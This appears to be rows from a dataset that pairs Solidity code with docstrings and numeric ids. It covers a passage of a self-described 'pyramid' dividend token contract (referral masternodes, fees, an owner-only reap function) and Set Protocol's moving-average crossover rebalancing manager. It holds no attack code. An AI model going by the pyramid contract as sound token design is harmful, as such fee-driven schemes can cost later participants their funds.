//Its funds will always be locked because it always reinvests function reap(address _toAddress) public onlyOwner { require(now - lastReaped > reapPeriod, "Reap not available, too soon"); lastReaped = now; transferTokens(owner, _toAddress, SafeMath.div(balanceOf(owner), 10)); } /** * @dev Transfer tokens from the caller to a new holder. * Remember, there's a 1% fee here as well. */ function transfer(address _toAddress, uint256 _amountOfTokens) onlyTokenHolders cooledOff external returns (bool){ address _customerAddress = msg.sender; return transferTokens(_customerAddress, _toAddress, _amountOfTokens); } /// @dev Utility function for transfering tokens function transferTokens(address _customerAddress, address _toAddress, uint256 _amountOfTokens) internal returns (bool){ // make sure we have the requested tokens require(_amountOfTokens <= tokenBalanceLedger_[_customerAddress]); // withdraw all outstanding dividends first if (totalDividends(_customerAddress,true) > 0) { withdrawFor(_customerAddress); } // liquify a percentage of the tokens that are transfered // these are dispersed to shareholders uint256 _tokenFee = SafeMath.div(SafeMath.mul(_amountOfTokens, transferFee_), 100); uint256 _taxedTokens = SafeMath.sub(_amountOfTokens, _tokenFee); uint256 _dividends = tokensToEthereum_(_tokenFee); // burn the fee tokens tokenSupply_ = SafeMath.sub(tokenSupply_, _tokenFee); // exchange tokens tokenBalanceLedger_[_customerAddress] = SafeMath.sub(tokenBalanceLedger_[_customerAddress], _amountOfTokens); tokenBalanceLedger_[_toAddress] = SafeMath.add(tokenBalanceLedger_[_toAddress], _taxedTokens); // update dividend trackers payoutsTo_[_customerAddress] -= (int256) (profitPerShare_ * _amountOfTokens); payoutsTo_[_toAddress] += (int256) (profitPerShare_ * _taxedTokens); // disperse dividends among holders profitPerShare_ = SafeMath.add(profitPerShare_, (_dividends * magnitude) / tokenSupply_); // fire event emit Transfer(_customerAddress, _toAddress, _taxedTokens); //Stats stats[_customerAddress].xTransferredTokens += 1; stats[_customerAddress].transferredTokens += _amountOfTokens; stats[_toAddress].receivedTokens += _taxedTokens; stats[_toAddress].xReceivedTokens += 1; // ERC20 return true; } /*===================================== = HELPERS AND CALCULATORS = =====================================*/ /** * @dev Method to view the current Ethereum stored in the contract * Example: totalEthereumBalance() */ function totalEthereumBalance() public view returns (uint256) { return address(this).balance; } /// @dev Retrieve the total token supply. function totalSupply() public view returns (uint256) { return tokenSupply_; } /// @dev Retrieve the tokens owned by the caller. function myTokens() public view returns (uint256) { address _customerAddress = msg.sender; return balanceOf(_customerAddress); } /** * @dev Retrieve the dividends owned by the caller. * If `_includeReferralBonus` is to to 1/true, the referral bonus will be included in the calculations. * The reason for this, is that in the frontend, we will want to get the total divs (global + ref) * But in the internal calculations, we want them separate. */ /** * @dev Retrieve the dividends owned by the caller. * If `_includeReferralBonus` is to to 1/true, the referral bonus will be included in the calculations. * The reason for this, is that in the frontend, we will want to get the total divs (global + ref) * But in the internal calculations, we want them separate. */ function myDividends(bool _includeReferralBonus) public view returns (uint256) { return totalDividends(msg.sender, _includeReferralBonus); } function totalDividends(address _customerAddress, bool _includeReferralBonus) internal view returns (uint256) { return _includeReferralBonus ? dividendsOf(_customerAddress) + referralBalance_[_customerAddress] : dividendsOf(_customerAddress); } /// @dev Retrieve the token balance of any single address. function balanceOf(address _customerAddress) public view returns (uint256) { return tokenBalanceLedger_[_customerAddress]; } /// @dev Stats of any single address function statsOf(address _customerAddress) public view returns (uint256[14]){ Stats memory s = stats[_customerAddress]; uint256[14] memory statArray = [s.invested, s.withdrawn, s.rewarded, s.contributed, s.transferredTokens, s.receivedTokens, s.xInvested, s.xRewarded, s.xContributed, s.xWithdrawn, s.xTransferredTokens, s.xReceivedTokens, s.reinvested, s.xReinvested]; return statArray; } /// @dev Retrieve the dividend balance of any single address. function dividendsOf(address _customerAddress) public view returns (uint256) { return (uint256) ((int256) (profitPerShare_ * tokenBalanceLedger_[_customerAddress]) - payoutsTo_[_customerAddress]) / magnitude; } /// @dev Return the sell price of 1 individual token. function sellPrice() public view returns (uint256) { // our calculation relies on the token supply, so we need supply. Doh. if (tokenSupply_ == 0) { return tokenPriceInitial_ - tokenPriceIncremental_; } else { uint256 _ethereum = tokensToEthereum_(1e18); uint256 _dividends = SafeMath.div(_ethereum, exitFee_); uint256 _taxedEthereum = SafeMath.sub(_ethereum, _dividends); return _taxedEthereum; } } /// @dev Return the buy price of 1 individual token. function buyPrice() public view returns (uint256) { // our calculation relies on the token supply, so we need supply. Doh. if (tokenSupply_ == 0) { return tokenPriceInitial_ + tokenPriceIncremental_; } else { uint256 _ethereum = tokensToEthereum_(1e18); uint256 _dividends = SafeMath.div(_ethereum, entryFee_); uint256 _taxedEthereum = SafeMath.add(_ethereum, _dividends); return _taxedEthereum; } } /// @dev Function for the frontend to dynamically retrieve the price scaling of buy orders. function calculateTokensReceived(uint256 _ethereumToSpend) public view returns (uint256) { uint256 _dividends = SafeMath.div(SafeMath.mul(_ethereumToSpend, entryFee_), 100); uint256 _taxedEthereum = SafeMath.sub(_ethereumToSpend, _dividends); uint256 _amountOfTokens = ethereumToTokens_(_taxedEthereum); return _amountOfTokens; } /// @dev Function for the frontend to dynamically retrieve the price scaling of sell orders. function calculateEthereumReceived(uint256 _tokensToSell) public view returns (uint256) { require(_tokensToSell <= tokenSupply_); uint256 _ethereum = tokensToEthereum_(_tokensToSell); uint256 _dividends = SafeMath.div(SafeMath.mul(_ethereum, exitFee_), 100); uint256 _taxedEthereum = SafeMath.sub(_ethereum, _dividends); return _taxedEthereum; } /*========================================== = INTERNAL FUNCTIONS = ==========================================*/ /// @dev Internal function to actually purchase the tokens. function purchaseTokens(address _customerAddress, uint256 _incomingEthereum) internal returns (uint256) { // data setup address _referredBy = msg.sender; uint256 _undividedDividends = SafeMath.div(SafeMath.mul(_incomingEthereum, entryFee_), 100); uint256 _maintenance = SafeMath.div(SafeMath.mul(_undividedDividends, maintenanceFee_), 100); uint256 _referralBonus = SafeMath.div(SafeMath.mul(_undividedDividends, referralFee_), 100); //maintenance and referral come out of the buyin uint256 _dividends = SafeMath.sub(_undividedDividends, SafeMath.add(_referralBonus, _maintenance)); uint256 _taxedEthereum = SafeMath.sub(_incomingEthereum, _undividedDividends); uint256 _amountOfTokens = ethereumToTokens_(_taxedEthereum); uint256 _fee = _dividends * magnitude; uint256 _tokenAllocation = SafeMath.div(_incomingEthereum, 2); // prevents overflow in the case that the pyramid somehow magically starts being used by everyone in the world // (or hackers) // and yes we know that the safemath function automatically rules out the "greater then" equasion. require(_amountOfTokens > 0 && SafeMath.add(_amountOfTokens, tokenSupply_) > tokenSupply_); //Apply maintenance fee to bankroll fundBankRoll(_maintenance); // is the user referred by a masternode? if ( // no cheating! _referredBy != _customerAddress && // does the referrer have at least X whole tokens? // i.e is the referrer a godly chad masternode tokenBalanceLedger_[_referredBy] >= stakingRequirement ) { // wealth redistribution referralBalance_[_referredBy] = SafeMath.add(referralBalance_[_referredBy], _referralBonus); //Stats stats[_referredBy].rewarded = SafeMath.add(stats[_referredBy].rewarded, _referralBonus); stats[_referredBy].xRewarded += 1; stats[_customerAddress].contributed = SafeMath.add(stats[_customerAddress].contributed, _referralBonus); stats[_customerAddress].xContributed += 1; //It pays to play emit onCommunityReward(_customerAddress, _referredBy, _referralBonus); } else { // no ref purchase // add the referral bonus back to the global dividends cake _dividends = SafeMath.add(_dividends, _referralBonus); _fee = _dividends * magnitude; } // we can't give people infinite ethereum if (tokenSupply_ > 0) { // add tokens to the pool tokenSupply_ = SafeMath.add(tokenSupply_, _amountOfTokens); // take the amount of dividends gained through this transaction, and allocates them evenly to each shareholder profitPerShare_ += (_dividends * magnitude / tokenSupply_); // calculate the amount of tokens the customer receives over his purchase _fee = _fee - (_fee - (_amountOfTokens * (_dividends * magnitude / tokenSupply_))); } else { // add tokens to the pool tokenSupply_ = _amountOfTokens; } // update circulating supply & the ledger address for the customer tokenBalanceLedger_[_customerAddress] = SafeMath.add(tokenBalanceLedger_[_customerAddress], _amountOfTokens); // Tells the contract that the buyer doesn't deserve dividends for the tokens before they owned them; // really i know you think you do but you don't int256 _updatedPayouts = (int256) (profitPerShare_ * _amountOfTokens - _fee); payoutsTo_[_customerAddress] += _updatedPayouts; //Notifying the relay is simple and should represent the total economic activity which is the _incomingEthereum //Every player is a customer and mints their own tokens when the buy or reinvest, relay P4RTY 50/50 relay.relay(maintenanceAddress, _tokenAllocation); relay.relay(_customerAddress, _tokenAllocation); // fire event emit onTokenPurchase(_customerAddress, _incomingEthereum, _amountOfTokens, _referredBy, now, buyPrice()); //Stats stats[_customerAddress].invested = SafeMath.add(stats[_customerAddress].invested, _incomingEthereum); stats[_customerAddress].xInvested += 1; //GO!!! Bankroll Bot GO!!! brbReinvest(_customerAddress); return _amountOfTokens; } /** * Calculate Token price based on an amount of incoming ethereum * It's an algorithm, hopefully we gave you the whitepaper with it in scientific notation; * Some conversions occurred to prevent decimal errors or underflows / overflows in solidity code. */ function ethereumToTokens_(uint256 _ethereum) internal view returns (uint256) { uint256 _tokenPriceInitial = tokenPriceInitial_ * 1e18; uint256 _tokensReceived = ( ( // underflow attempts BTFO SafeMath.sub( (sqrt ( (_tokenPriceInitial ** 2) + (2 * (tokenPriceIncremental_ * 1e18) * (_ethereum * 1e18)) + (((tokenPriceIncremental_) ** 2) * (tokenSupply_ ** 2)) + (2 * (tokenPriceIncremental_) * _tokenPriceInitial * tokenSupply_) ) ), _tokenPriceInitial ) ) / (tokenPriceIncremental_) ) - (tokenSupply_) ; return _tokensReceived; } /** * Calculate token sell value. * It's an algorithm, hopefully we gave you the whitepaper with it in scientific notation; * Some conversions occurred to prevent decimal errors or underflows / overflows in solidity code. */ function tokensToEthereum_(uint256 _tokens) internal view returns (uint256) { uint256 tokens_ = (_tokens + 1e18); uint256 _tokenSupply = (tokenSupply_ + 1e18); uint256 _etherReceived = ( // underflow attempts BTFO SafeMath.sub( ( ( ( tokenPriceInitial_ + (tokenPriceIncremental_ * (_tokenSupply / 1e18)) ) - tokenPriceIncremental_ ) * (tokens_ - 1e18) ), (tokenPriceIncremental_ * ((tokens_ ** 2 - tokens_) / 1e18)) / 2 ) / 1e18); return _etherReceived; } /// @dev Returns true if the tokens are fully vested after a reinvest function isVested() public view returns (bool) { return now - bot[msg.sender].coolOff > coolOffPeriod; } /* Is end user eligible to process rewards? */ function rewardAvailable() public view returns (bool){ return available() && now - lastReward[msg.sender] > rewardProcessingPeriod && tokenBalanceLedger_[msg.sender] >= stakingRequirement; } /// @dev Returns timer info used for the vesting and the faucet function timerInfo() public view returns (uint, uint[2], uint[2]){ return (now, [bot[msg.sender].coolOff, coolOffPeriod], [lastReward[msg.sender], rewardProcessingPeriod]); } //This is where all your gas goes, sorry //Not sorry, you probably only paid 1 gwei function sqrt(uint x) internal pure returns (uint y) { uint z = (x + 1) / 2; y = x; while (z < y) { y = z; z = (x / z + z) / 2; } } // // BankRollBot Functions // //Reinvest on all buys and sells function brbReinvest(address _customerAddress) internal { if (_customerAddress != owner && bankrollEnabled) { if (totalDividends(owner, true) > bankrollThreshold) { reinvestFor(owner); } } } /* Can only be run once per day from the caller avoid bots Minimum of 100 P6 Minimum of 5 P4RTY + amount minted based on dividends processed in 24 hour period */ function processRewards() public teamPlayer launched { require(tokenBalanceLedger_[msg.sender] >= stakingRequirement, "Must meet staking requirement"); uint256 count = 0; address _customer; while (available() && count < maxProcessingCap) { //If this queue has already been processed in this block exit without altering the queue _customer = peek(); if (bot[_customer].lastBlock == block.number){ break; } //Pop dequeue(); //Update tracking bot[_customer].lastBlock = block.number; bot[_customer].queued = false; //User could have deactivated while still being queued if (bot[_customer].active) { //Reinvest divs; be gas efficient if (totalDividends(_customer, true) > botThreshold) { //No bankroll reinvest when processing the queue bankrollEnabled = false; reinvestFor(_customer); bankrollEnabled = true; } enqueue(_customer); bot[_customer].queued = true; } count++; } lastReward[msg.sender] = now; reinvestFor(msg.sender); } }
Returns the size of the queue
function depth() internal view returns (uint256) { return last - first + 1; }
5,388,007
/* Copyright 2019 Set Labs Inc. Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except in compliance with the License. You may obtain a copy of the License at http://www.apache.org/licenses/LICENSE-2.0 Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the specific language governing permissions and limitations under the License. */ pragma solidity 0.5.7; pragma experimental "ABIEncoderV2"; import { ERC20Detailed } from "openzeppelin-solidity/contracts/token/ERC20/ERC20Detailed.sol"; import { SafeMath } from "openzeppelin-solidity/contracts/math/SafeMath.sol"; import { ICore } from "set-protocol-contracts/contracts/core/interfaces/ICore.sol"; import { IRebalancingSetToken } from "set-protocol-contracts/contracts/core/interfaces/IRebalancingSetToken.sol"; import { ISetToken } from "set-protocol-contracts/contracts/core/interfaces/ISetToken.sol"; import { SetTokenLibrary } from "set-protocol-contracts/contracts/core/lib/SetTokenLibrary.sol"; import { IOracle } from "set-protocol-oracles/contracts/meta-oracles/interfaces/IOracle.sol"; import { IMetaOracleV2 } from "set-protocol-oracles/contracts/meta-oracles/interfaces/IMetaOracleV2.sol"; import { FlexibleTimingManagerLibrary } from "./lib/FlexibleTimingManagerLibrary.sol"; /** * @title MACOStrategyManager * @author Set Protocol * * Rebalancing Manager contract for implementing the Moving Average (MA) Crossover * Strategy between a risk asset's MA and the spot price of the risk asset. The time * frame for the MA is defined on instantiation. When the spot price dips below the MA * risk asset is sold for stable asset and vice versa when the spot price exceeds the MA. * * CHANGELOG: * - Pass riskAssetOracleInstance in constructor * - Pass list of collateral sets in constructor instead of individually * - Read oracles using IOracle and IMetaOracleV2 */ contract MACOStrategyManagerV2 { using SafeMath for uint256; /* ============ Constants ============ */ uint256 constant AUCTION_LIB_PRICE_DIVISOR = 1000; uint256 constant ALLOCATION_PRICE_RATIO_LIMIT = 4; uint256 constant TEN_MINUTES_IN_SECONDS = 600; // Equal to $1 since token prices are passed with 18 decimals uint256 constant STABLE_ASSET_PRICE = 10 ** 18; uint256 constant SET_TOKEN_DECIMALS = 10 ** 18; /* ============ State Variables ============ */ address public contractDeployer; address public rebalancingSetTokenAddress; address public coreAddress; address public setTokenFactory; address public auctionLibrary; IMetaOracleV2 public movingAveragePriceFeedInstance; IOracle public riskAssetOracleInstance; address public stableAssetAddress; address public riskAssetAddress; address public stableCollateralAddress; address public riskCollateralAddress; uint256 public stableAssetDecimals; uint256 public riskAssetDecimals; uint256 public auctionTimeToPivot; uint256 public movingAverageDays; uint256 public lastCrossoverConfirmationTimestamp; uint256 public crossoverConfirmationMinTime; uint256 public crossoverConfirmationMaxTime; /* ============ Events ============ */ event LogManagerProposal( uint256 riskAssetPrice, uint256 movingAveragePrice ); /* * MACOStrategyManager constructor. * * @param _coreAddress The address of the Core contract * @param _movingAveragePriceFeed The address of MA price feed * @param _riskAssetOracle The address of risk asset oracle * @param _stableAssetAddress The address of the stable asset contract * @param _riskAssetAddress The address of the risk asset contract * @param _collateralAddresses The addresses of collateral Sets [stableCollateral, * riskCollateral] * @param _setTokenFactory The address of the SetTokenFactory * @param _auctionLibrary The address of auction price curve to use in rebalance * @param _movingAverageDays The amount of days to use in moving average calculation * @param _auctionTimeToPivot The amount of time until pivot reached in rebalance * @param _crossoverConfirmationBounds The minimum and maximum time in seconds confirm confirmation * can be called after the last initial crossover confirmation */ constructor( address _coreAddress, IMetaOracleV2 _movingAveragePriceFeed, IOracle _riskAssetOracle, address _stableAssetAddress, address _riskAssetAddress, address[2] memory _collateralAddresses, address _setTokenFactory, address _auctionLibrary, uint256 _movingAverageDays, uint256 _auctionTimeToPivot, uint256[2] memory _crossoverConfirmationBounds ) public { contractDeployer = msg.sender; coreAddress = _coreAddress; movingAveragePriceFeedInstance = _movingAveragePriceFeed; riskAssetOracleInstance = _riskAssetOracle; setTokenFactory = _setTokenFactory; auctionLibrary = _auctionLibrary; stableAssetAddress = _stableAssetAddress; riskAssetAddress = _riskAssetAddress; stableCollateralAddress = _collateralAddresses[0]; riskCollateralAddress = _collateralAddresses[1]; auctionTimeToPivot = _auctionTimeToPivot; movingAverageDays = _movingAverageDays; lastCrossoverConfirmationTimestamp = 0; crossoverConfirmationMinTime = _crossoverConfirmationBounds[0]; crossoverConfirmationMaxTime = _crossoverConfirmationBounds[1]; address[] memory initialStableCollateralComponents = ISetToken(_collateralAddresses[0]).getComponents(); address[] memory initialRiskCollateralComponents = ISetToken(_collateralAddresses[1]).getComponents(); require( crossoverConfirmationMaxTime > crossoverConfirmationMinTime, "MACOStrategyManager.constructor: Max confirmation time must be greater than min." ); require( initialStableCollateralComponents[0] == _stableAssetAddress, "MACOStrategyManager.constructor: Stable collateral component must match stable asset." ); require( initialRiskCollateralComponents[0] == _riskAssetAddress, "MACOStrategyManager.constructor: Risk collateral component must match risk asset." ); // Get decimals of underlying assets from smart contracts stableAssetDecimals = ERC20Detailed(_stableAssetAddress).decimals(); riskAssetDecimals = ERC20Detailed(_riskAssetAddress).decimals(); } /* ============ External ============ */ /* * This function sets the Rebalancing Set Token address that the manager is associated with. * Since, the rebalancing set token must first specify the address of the manager before deployment, * we cannot know what the rebalancing set token is in advance. This function is only meant to be called * once during initialization by the contract deployer. * * @param _rebalancingSetTokenAddress The address of the rebalancing Set token */ function initialize( address _rebalancingSetTokenAddress ) external { // Check that contract deployer is calling function require( msg.sender == contractDeployer, "MACOStrategyManager.initialize: Only the contract deployer can initialize" ); // Make sure the rebalancingSetToken is tracked by Core require( ICore(coreAddress).validSets(_rebalancingSetTokenAddress), "MACOStrategyManager.initialize: Invalid or disabled RebalancingSetToken address" ); rebalancingSetTokenAddress = _rebalancingSetTokenAddress; contractDeployer = address(0); } /* * When allowed on RebalancingSetToken, anyone can call for a new rebalance proposal. This begins a six * hour period where the signal can be confirmed before moving ahead with rebalance. * */ function initialPropose() external { // Make sure propose in manager hasn't already been initiated require( block.timestamp > lastCrossoverConfirmationTimestamp.add(crossoverConfirmationMaxTime), "MACOStrategyManager.initialPropose: 12 hours must pass before new proposal initiated" ); // Create interface to interact with RebalancingSetToken and check enough time has passed for proposal FlexibleTimingManagerLibrary.validateManagerPropose(IRebalancingSetToken(rebalancingSetTokenAddress)); // Get price data from oracles ( uint256 riskAssetPrice, uint256 movingAveragePrice ) = getPriceData(); // Make sure price trigger has been reached checkPriceTriggerMet(riskAssetPrice, movingAveragePrice); lastCrossoverConfirmationTimestamp = block.timestamp; } /* * After initial propose is called, confirm the signal has been met and determine parameters for the rebalance * */ function confirmPropose() external { // Make sure enough time has passed to initiate proposal on Rebalancing Set Token require( block.timestamp >= lastCrossoverConfirmationTimestamp.add(crossoverConfirmationMinTime) && block.timestamp <= lastCrossoverConfirmationTimestamp.add(crossoverConfirmationMaxTime), "MACOStrategyManager.confirmPropose: Confirming signal must be within bounds of the initial propose" ); // Create interface to interact with RebalancingSetToken and check not in Proposal state FlexibleTimingManagerLibrary.validateManagerPropose(IRebalancingSetToken(rebalancingSetTokenAddress)); // Get price data from oracles ( uint256 riskAssetPrice, uint256 movingAveragePrice ) = getPriceData(); // Make sure price trigger has been reached checkPriceTriggerMet(riskAssetPrice, movingAveragePrice); // If price trigger has been met, get next Set allocation. Create new set if price difference is too // great to run good auction. Return nextSet address and dollar value of current and next set ( address nextSetAddress, uint256 currentSetDollarValue, uint256 nextSetDollarValue ) = determineNewAllocation( riskAssetPrice ); // Calculate the price parameters for auction ( uint256 auctionStartPrice, uint256 auctionPivotPrice ) = FlexibleTimingManagerLibrary.calculateAuctionPriceParameters( currentSetDollarValue, nextSetDollarValue, TEN_MINUTES_IN_SECONDS, AUCTION_LIB_PRICE_DIVISOR, auctionTimeToPivot ); // Propose new allocation to Rebalancing Set Token IRebalancingSetToken(rebalancingSetTokenAddress).propose( nextSetAddress, auctionLibrary, auctionTimeToPivot, auctionStartPrice, auctionPivotPrice ); emit LogManagerProposal( riskAssetPrice, movingAveragePrice ); } /* ============ Internal ============ */ /* * Determine if risk collateral is currently collateralizing the rebalancing set, if so return true, * else return false. * * @return boolean True if risk collateral in use, false otherwise */ function usingRiskCollateral() internal view returns (bool) { // Get set currently collateralizing rebalancing set token address[] memory currentCollateralComponents = ISetToken(rebalancingSetTokenAddress).getComponents(); // If collateralized by riskCollateral set return true, else to false return (currentCollateralComponents[0] == riskCollateralAddress); } /* * Get the risk asset and moving average prices from respective oracles. Price returned have 18 decimals so * 10 ** 18 = $1. * * @return uint256 USD Price of risk asset * @return uint256 Moving average USD Price of risk asset */ function getPriceData() internal view returns(uint256, uint256) { // Get current risk asset price and moving average data uint256 riskAssetPrice = riskAssetOracleInstance.read(); uint256 movingAveragePrice = movingAveragePriceFeedInstance.read(movingAverageDays); return (riskAssetPrice, movingAveragePrice); } /* * Check to make sure that the necessary price changes have occured to allow a rebalance. * * @param _riskAssetPrice Current risk asset price as found on oracle * @param _movingAveragePrice Current MA price from Meta Oracle */ function checkPriceTriggerMet( uint256 _riskAssetPrice, uint256 _movingAveragePrice ) internal view { if (usingRiskCollateral()) { // If currently holding risk asset (riskOn) check to see if price is below MA, otherwise revert. require( _movingAveragePrice > _riskAssetPrice, "MACOStrategyManager.checkPriceTriggerMet: Risk asset price must be below moving average price" ); } else { // If currently holding stable asset (not riskOn) check to see if price is above MA, otherwise revert. require( _movingAveragePrice < _riskAssetPrice, "MACOStrategyManager.checkPriceTriggerMet: Risk asset price must be above moving average price" ); } } /* * Determine the next allocation to rebalance into. If the dollar value of the two collateral sets is more * than 5x different from each other then create a new collateral set. If currently riskOn then a new * stable collateral set is created, if !riskOn then a new risk collateral set is created. * * @param _riskAssetPrice Current risk asset price as found on oracle * @return address The address of the proposed nextSet * @return uint256 The USD value of current Set * @return uint256 The USD value of next Set */ function determineNewAllocation( uint256 _riskAssetPrice ) internal returns (address, uint256, uint256) { // Check to see if new collateral must be created in order to keep collateral price ratio in line. // If not just return the dollar value of current collateral sets ( uint256 stableCollateralDollarValue, uint256 riskCollateralDollarValue ) = checkForNewAllocation(_riskAssetPrice); ( address nextSetAddress, uint256 currentSetDollarValue, uint256 nextSetDollarValue ) = usingRiskCollateral() ? (stableCollateralAddress, riskCollateralDollarValue, stableCollateralDollarValue) : (riskCollateralAddress, stableCollateralDollarValue, riskCollateralDollarValue); return (nextSetAddress, currentSetDollarValue, nextSetDollarValue); } /* * Check to see if a new collateral set needs to be created. If the dollar value of the two collateral sets is more * than 5x different from each other then create a new collateral set. * * @param _riskAssetPrice Current risk asset price as found on oracle * @return uint256 The USD value of stable collateral * @return uint256 The USD value of risk collateral */ function checkForNewAllocation( uint256 _riskAssetPrice ) internal returns(uint256, uint256) { // Get details of both collateral sets SetTokenLibrary.SetDetails memory stableCollateralDetails = SetTokenLibrary.getSetDetails( stableCollateralAddress ); SetTokenLibrary.SetDetails memory riskCollateralDetails = SetTokenLibrary.getSetDetails( riskCollateralAddress ); // Value both Sets uint256 stableCollateralDollarValue = FlexibleTimingManagerLibrary.calculateTokenAllocationAmountUSD( STABLE_ASSET_PRICE, stableCollateralDetails.naturalUnit, stableCollateralDetails.units[0], stableAssetDecimals ); uint256 riskCollateralDollarValue = FlexibleTimingManagerLibrary.calculateTokenAllocationAmountUSD( _riskAssetPrice, riskCollateralDetails.naturalUnit, riskCollateralDetails.units[0], riskAssetDecimals ); // If value of one Set is 5 times greater than the other, create a new collateral Set if (riskCollateralDollarValue.mul(ALLOCATION_PRICE_RATIO_LIMIT) <= stableCollateralDollarValue || riskCollateralDollarValue >= stableCollateralDollarValue.mul(ALLOCATION_PRICE_RATIO_LIMIT)) { //Determine the new collateral parameters return determineNewCollateralParameters( _riskAssetPrice, stableCollateralDollarValue, riskCollateralDollarValue, stableCollateralDetails, riskCollateralDetails ); } else { return (stableCollateralDollarValue, riskCollateralDollarValue); } } /* * Create new collateral Set for the occasion where the dollar value of the two collateral * sets is more than 5x different from each other. The new collateral set address is then * assigned to the correct state variable (risk or stable collateral) * * @param _riskAssetPrice Current risk asset price as found on oracle * @param _stableCollateralValue Value of current stable collateral set in USD * @param _riskCollateralValue Value of current risk collateral set in USD * @param _stableCollateralDetails Set details of current stable collateral set * @param _riskCollateralDetails Set details of current risk collateral set * @return uint256 The USD value of stable collateral * @return uint256 The USD value of risk collateral */ function determineNewCollateralParameters( uint256 _riskAssetPrice, uint256 _stableCollateralValue, uint256 _riskCollateralValue, SetTokenLibrary.SetDetails memory _stableCollateralDetails, SetTokenLibrary.SetDetails memory _riskCollateralDetails ) internal returns (uint256, uint256) { uint256 stableCollateralDollarValue; uint256 riskCollateralDollarValue; if (usingRiskCollateral()) { // Create static components and units array address[] memory nextSetComponents = new address[](1); nextSetComponents[0] = stableAssetAddress; ( uint256[] memory nextSetUnits, uint256 nextNaturalUnit ) = getNewCollateralSetParameters( _riskCollateralValue, STABLE_ASSET_PRICE, stableAssetDecimals, _stableCollateralDetails.naturalUnit ); // Create new stable collateral set with units and naturalUnit as calculated above stableCollateralAddress = ICore(coreAddress).createSet( setTokenFactory, nextSetComponents, nextSetUnits, nextNaturalUnit, bytes32("STBLCollateral"), bytes32("STBLMACO"), "" ); // Calculate dollar value of new stable collateral stableCollateralDollarValue = FlexibleTimingManagerLibrary.calculateTokenAllocationAmountUSD( STABLE_ASSET_PRICE, nextNaturalUnit, nextSetUnits[0], stableAssetDecimals ); riskCollateralDollarValue = _riskCollateralValue; } else { // Create static components and units array address[] memory nextSetComponents = new address[](1); nextSetComponents[0] = riskAssetAddress; ( uint256[] memory nextSetUnits, uint256 nextNaturalUnit ) = getNewCollateralSetParameters( _stableCollateralValue, _riskAssetPrice, riskAssetDecimals, _riskCollateralDetails.naturalUnit ); // Create new risk collateral set with units and naturalUnit as calculated above riskCollateralAddress = ICore(coreAddress).createSet( setTokenFactory, nextSetComponents, nextSetUnits, nextNaturalUnit, bytes32("RISKCollateral"), bytes32("RISKMACO"), "" ); // Calculate dollar value of new risk collateral riskCollateralDollarValue = FlexibleTimingManagerLibrary.calculateTokenAllocationAmountUSD( _riskAssetPrice, nextNaturalUnit, nextSetUnits[0], riskAssetDecimals ); stableCollateralDollarValue = _stableCollateralValue; } return (stableCollateralDollarValue, riskCollateralDollarValue); } /* * Calculate new collateral units and natural unit. If necessary iterate through until naturalUnit * found that supports non-zero unit amount. Here Underlying refers to the token underlying the * collateral Set (i.e. ETH is underlying of riskCollateral Set). * * @param _currentCollateralUSDValue USD Value of current collateral set * @param _replacementUnderlyingPrice Price of underlying token to be rebalanced into * @param _replacementUnderlyingDecimals Amount of decimals in replacement token * @param _replacementCollateralNaturalUnit Natural Unit of replacement collateral Set * @return uint256[] Units array for new collateral set * @return uint256 NaturalUnit for new collateral set */ function getNewCollateralSetParameters( uint256 _currentCollateralUSDValue, uint256 _replacementUnderlyingPrice, uint256 _replacementUnderlyingDecimals, uint256 _replacementCollateralNaturalUnit ) internal pure returns (uint256[] memory, uint256) { // Calculate nextSetUnits such that the USD value of new Set is equal to the USD value of the Set // being rebalanced out of uint256[] memory nextSetUnits = new uint256[](1); uint256 potentialNextUnit = 0; uint256 naturalUnitMultiplier = 1; uint256 nextNaturalUnit; // Calculate next units. If nextUnit is 0 then bump natural unit (and thus units) by factor of // ten until unit is greater than 0 while (potentialNextUnit == 0) { nextNaturalUnit = _replacementCollateralNaturalUnit.mul(naturalUnitMultiplier); potentialNextUnit = calculateNextSetUnits( _currentCollateralUSDValue, _replacementUnderlyingPrice, _replacementUnderlyingDecimals, nextNaturalUnit ); naturalUnitMultiplier = naturalUnitMultiplier.mul(10); } nextSetUnits[0] = potentialNextUnit; return (nextSetUnits, nextNaturalUnit); } /* * Calculate new collateral units by making the new collateral USD value equal to the USD value of the * Set currently collateralizing the Rebalancing Set. Here Underlying refers to the token underlying the * collateral Set (i.e. ETH is underlying of riskCollateral Set). * * @param _currentCollateralUSDValue USD Value of current collateral set * @param _replacementUnderlyingPrice Price of asset to be rebalanced into * @param _replacementUnderlyingDecimals Amount of decimals in replacement collateral * @param _replacementCollateralNaturalUnit Natural Unit of collateral set to be replacement * @return uint256 New unit for new collateral set */ function calculateNextSetUnits( uint256 _currentCollateralUSDValue, uint256 _replacementUnderlyingPrice, uint256 _replacementUnderlyingDecimals, uint256 _replacementCollateralNaturalUnit ) internal pure returns (uint256) { return _currentCollateralUSDValue .mul(10 ** _replacementUnderlyingDecimals) .mul(_replacementCollateralNaturalUnit) .div(SET_TOKEN_DECIMALS.mul(_replacementUnderlyingPrice)); } }
Calculate new collateral units and natural unit. If necessary iterate through until naturalUnit found that supports non-zero unit amount. Here Underlying refers to the token underlying the collateral Set (i.e. ETH is underlying of riskCollateral Set). _currentCollateralUSDValue USD Value of current collateral set _replacementUnderlyingPrice Price of underlying token to be rebalanced into _replacementUnderlyingDecimals Amount of decimals in replacement token _replacementCollateralNaturalUnit Natural Unit of replacement collateral Set return uint256[] Units array for new collateral set return uint256 NaturalUnit for new collateral set/ Calculate nextSetUnits such that the USD value of new Set is equal to the USD value of the Set being rebalanced out of Calculate next units. If nextUnit is 0 then bump natural unit (and thus units) by factor of ten until unit is greater than 0
function getNewCollateralSetParameters( uint256 _currentCollateralUSDValue, uint256 _replacementUnderlyingPrice, uint256 _replacementUnderlyingDecimals, uint256 _replacementCollateralNaturalUnit ) internal pure returns (uint256[] memory, uint256) { uint256[] memory nextSetUnits = new uint256[](1); uint256 potentialNextUnit = 0; uint256 naturalUnitMultiplier = 1; uint256 nextNaturalUnit; while (potentialNextUnit == 0) { nextNaturalUnit = _replacementCollateralNaturalUnit.mul(naturalUnitMultiplier); potentialNextUnit = calculateNextSetUnits( _currentCollateralUSDValue, _replacementUnderlyingPrice, _replacementUnderlyingDecimals, nextNaturalUnit ); naturalUnitMultiplier = naturalUnitMultiplier.mul(10); } nextSetUnits[0] = potentialNextUnit; return (nextSetUnits, nextNaturalUnit); }
13,039,853
